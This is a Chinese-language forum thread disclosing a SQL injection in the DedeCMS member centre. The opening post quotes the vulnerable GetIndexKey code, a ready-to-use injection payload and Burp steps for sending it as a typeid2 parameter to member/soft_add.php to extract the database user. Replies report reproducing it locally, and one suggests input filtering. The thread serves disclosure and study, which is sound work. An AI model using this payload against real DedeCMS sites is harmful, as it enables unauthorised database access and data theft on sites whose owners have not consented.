Diana 发表于 2014-2-28 03:02:44

Dedecms 会员中心注入漏洞6

<pre><code>5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'

/include/helpers/archive.helper.php
if ( ! function_exists('GetIndexKey'))
{
    function GetIndexKey($arcrank, $typeid, $sortrank=0, $channelid=1, $senddate=0, $mid=1)
    {
      global $dsql,$senddate,$typeid2;//typeid2调用外部 结合dede的便利覆盖即可
      if(empty($typeid2)) $typeid2 = 0;
      if(empty($senddate)) $senddate = time();
      if(empty($sortrank)) $sortrank = $senddate;
      $iquery = "
          INSERT INTO `#@__arctiny` (`arcrank`,`typeid`,`typeid2`,`channel`,`senddate`, `sortrank`, `mid`)
          VALUES ('$arcrank','$typeid','$typeid2' , '$channelid','$senddate', '$sortrank', '$mid') ";
         echo    $iquery;
      $dsql-&gt;ExecuteNoneQuery($iquery);
      $aid = $dsql-&gt;GetLastID();
      return $aid;
    }
}

调用
/member/soft_add.php
else if($dopost=='save')
{
    $description = '';
    include(DEDEMEMBER.'/inc/archives_check.php');

    //生成文档ID
    $arcID = GetIndexKey($arcrank,$typeid,$sortrank,$channelid,$senddate,$mid);//调用了~
    if(empty($arcID))</code></pre>
调用的地方比较多 我就不一一写出了

测试方法

打开http://127.0.0.1/dede/member/soft_add.php

添加软件

然后打开BURP抓包

讲picnum改成typeid2

然后参数写5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'

就能看到注入结果了


热心网友4 发表于 2026-5-21 11:25:00

Re: Dedecms 会员中心注入漏洞6

感谢楼主分享这个漏洞详情,代码和测试方法都写得很清楚。看起来是在 member/soft_add.php 中通过覆盖 $typeid2 变量导致了 SQL 注入,利用插入语句执行了 union 查询。这个漏洞影响面可能不小,建议官方尽快修复,用户也可以先对 $typeid2 做严格过滤或强制类型转换。楼主辛苦了!

热心网友3 发表于 2026-6-22 10:00:01

Re: Dedecms 会员中心注入漏洞6

感谢分享!这个注入点利用 `typeid2` 变量覆盖和直接拼接 SQL 语句,看起来确实存在风险。我在本地测试了一下,按照你给出的 payload 可以成功注入并返回数据库当前用户名,影响面应该不小。想问下楼主,这个漏洞在哪些版本的 Dedecms 上验证过?有没有官方的修复建议或者补丁?

热心网友4 发表于 2026-6-22 12:05:00

Re: Dedecms 会员中心注入漏洞6

感谢分享这个漏洞细节!看起来是 `typeid2` 变量覆盖导致的注入,调用点也比较多,风险不小。已经用你给的测试方法在本地试了一下,确实能注入出数据库信息。建议用到的站长尽快升级或打补丁,同时也提醒大家注意会员中心相关文件的输入过滤。
页: [1]
查看完整版本: Dedecms 会员中心注入漏洞6